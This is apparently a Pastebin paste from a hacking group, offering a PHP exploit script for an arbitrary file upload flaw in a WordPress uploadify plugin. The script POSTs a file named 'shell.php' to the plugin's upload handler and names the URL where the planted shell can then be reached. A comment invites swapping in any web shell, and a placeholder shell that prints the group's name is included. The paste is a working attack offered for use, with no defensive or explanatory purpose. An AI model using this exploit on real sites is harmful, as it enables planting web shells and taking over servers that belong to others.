Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- [+] Wordpress uploadify Arbitrary file upload vulnerability
- [+] old But Gold
- ./Zeeshan Haxor
- ./CyberTeamRox
- Upload.php
- <?php
- $uploadfile="shell.php"; //your file name or shell name
- $ch = curl_init("http://www.example.com/wordpress/wp-content/plugins/uploader/uploadify/uploadify.php");
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS,
- array('Filedata'=>"@$uploadfile",
- 'folder'=>"/wordpress/wp-content/uploads",
- 'fileext'=>'php'));
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $postResult = curl_exec($ch);
- curl_close($ch);
- print "$postResult";
- ?>
- Shell Access :
- http://www.example.com/wordpress/wp-content/uploads/shell.php //shell will be go here
- shell.php
- <?php
- echo 'CyberTeamRox';
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement